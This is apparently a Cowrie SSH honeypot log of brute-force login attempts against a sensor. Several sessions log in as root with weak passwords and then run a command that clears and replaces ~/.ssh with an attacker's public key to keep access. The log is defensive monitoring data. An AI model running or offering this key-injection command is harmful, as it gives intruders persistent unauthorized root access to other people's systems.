{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":33074,"dst_ip":"10.17.0.5","dst_port":22,"session":"9201e4fd1b07","protocol":"ssh","message":"New connection: 186.219.184.142:33074 (10.17.0.5:22) [session: 9201e4fd1b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:20.692808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:20.699827Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:20.827928Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123zxc!@#","message":"login attempt [root/123zxc!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:21.369457Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:21.666105Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:21.669452Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:21.673068Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:21.804376Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:22.098045Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:22.100594Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:22.232458Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:22.236266Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":51974,"dst_ip":"10.17.0.5","dst_port":22,"session":"432eecd52816","protocol":"ssh","message":"New connection: 186.219.184.142:51974 (10.17.0.5:22) [session: 432eecd52816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:22.356316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:22.361223Z","src_ip":"186.219.184.142","session":"432eecd52816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:22.488203Z","src_ip":"186.219.184.142","session":"432eecd52816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:23.028542Z","src_ip":"186.219.184.142","session":"432eecd52816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:24.158506Z","src_ip":"186.219.184.142","session":"432eecd52816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":51976,"dst_ip":"10.17.0.5","dst_port":22,"session":"d24f46ae64a3","protocol":"ssh","message":"New connection: 186.219.184.142:51976 (10.17.0.5:22) [session: d24f46ae64a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:24.282210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:24.286607Z","src_ip":"186.219.184.142","session":"d24f46ae64a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:24.415404Z","src_ip":"186.219.184.142","session":"d24f46ae64a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:24.956086Z","src_ip":"186.219.184.142","session":"d24f46ae64a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:25.087086Z","src_ip":"186.219.184.142","session":"9201e4fd1b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:25.090565Z","src_ip":"186.219.184.142","session":"d24f46ae64a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":32812,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dbc369d4c8f","protocol":"ssh","message":"New connection: 195.178.110.218:32812 (159.203.135.109:22) [session: 9dbc369d4c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:26.804501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:26.809129Z","src_ip":"195.178.110.218","session":"9dbc369d4c8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:26.889095Z","src_ip":"195.178.110.218","session":"9dbc369d4c8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:27.129080Z","src_ip":"195.178.110.218","session":"9dbc369d4c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:28.211515Z","src_ip":"195.178.110.218","session":"9dbc369d4c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.76.120.30","src_port":41810,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ab4ba68b00","protocol":"ssh","message":"New connection: 201.76.120.30:41810 (10.17.0.5:22) [session: a4ab4ba68b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:57.881075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:57.885834Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:58.024992Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"asdf@123123","message":"login attempt [root/asdf@123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:58.607900Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:58.922508Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:58.925737Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:58.929233Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:59.068876Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:59.381300Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:59.384670Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:59.534194Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:59.538027Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.76.120.30","src_port":42146,"dst_ip":"10.17.0.5","dst_port":22,"session":"73b0b5948fb4","protocol":"ssh","message":"New connection: 201.76.120.30:42146 (10.17.0.5:22) [session: 73b0b5948fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:59.668719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:59.673398Z","src_ip":"201.76.120.30","session":"73b0b5948fb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 